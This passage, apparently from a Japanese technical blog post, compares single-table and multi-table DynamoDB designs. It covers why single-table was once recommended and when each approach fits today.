- クエリの複雑さが高くなる可能性がある

## Multi Table Design

### 長所

- データの正規化が可能
- クエリが単純化される可能性

### 短所

- テーブル間のデータ取得について設計が複雑になる
- データ整合性を維持する必要がある

一長一短があるので、どちらが優れているというわけではありません。

https://docs.aws.amazon.com/ja_jp/amazondynamodb/latest/developerguide/data-modeling-foundations.html

## なぜSingle Table Designが推奨されていたのか

<font color="Red">**当初は制約や機能が不足していたためです。**</font>

#### 1アプリ1テーブル
「1アプリ1テーブル」と推奨されていましたが、ここで言う「1アプリ」はマイクロサービスのことを指しており、多くの機能を一つのテーブルにまとめることを推奨していたわけではありません。

#### トランザクションの有無
現在はトランザクションの一貫性を保つ処理が可能です。以前は、複数のテーブルを更新する際に制限があり、更新が困難でしたが、現在は制限が緩和され、大量のデータを更新できるようになりました。

#### On-demand modeがない時期のCapacity管理
小さいテーブルが複数あると、それぞれのテーブルにキャパシティを設定する必要があり、料金が増えることにつながっていました。大きなテーブルを作成することで、無駄なキャパシティが発生せず効率的でした。

#### Table数に上限があった。
テーブル数の引き上げに限界がありましたが、2022年に1アカウントあたりの上限が引き上げられ、多くの場面でこの問題が解決されました。

#### メトリクスを過剰に増やさないため
テーブル単位でメトリクスが生成され、それらの監視が大変でした。

# 開発者マニュアル

初期段階でシングルテーブルとマルチテーブルの**2つのパターンを並行して設計検討すること**が紹介されています。つまり、まずシングルテーブルで検討し、うまくいかなかった場合にマルチテーブルに切り替えるという従来の考え方から変わりつつあります。
要件やデータのパターンが変われば、テーブル設計を再検討しても構いません。

# 現時点で推奨されている構成とは？

### Single Tableが適している場面

- 複数のテーブルにまたがってデータを取得するオペレーションがある場合
    - getItemを大量に行う必要があるが、1つのテーブルであれば1回のQueryで済む
- CloudWatchで監視する際にテーブル数が多すぎる場合、メトリクスの肥大化を防ぐため
- バックアップの効率化が見込める場合

### Multi Tableが適している場面

- テーブルレベルでIAMを明確に分けたい場合
- ユーザープロフィールや履歴データ(例:操作履歴)など、増加特性が大きく違うもの
    - ユーザープロフィールは増加することが少ないが、履歴データは膨大になりやすい
- 月単位でテーブルを削除する必要がある場合、オペレーションコストが減少する
- テーブル単位の操作が必要な場合は、Multi Tableが推奨されます。

### 結局どちらが良いのか

- **SingleとMultiのどちらが正解ということはありません**。それぞれのワークロードに適したものを選択する方が良いです。
- <font color="Red">**重要なのは、Single → Multi, Multi → Singleのどちらのパターンが適しているかを見極め、必要に応じて変更すること**</font>です。

### どのようにテーブルの分割・統合するか

- DynamoDB Strems
- Export to S3

# まとめ

- DynamoDB = Single Tableに縛られず、SingleとMultiを使い分ける
- それぞれのメリットとデメリットを理解する
- 判断に迷ったらモデリングして、良い点と悪い点を整理する
- 現状のモデリングで問題があれば、<font color="Red">新しいモデリングにどのように移行するか考えておく</font>

# 参考

https://www.youtube.com/watch?v=aLTPYX58Zms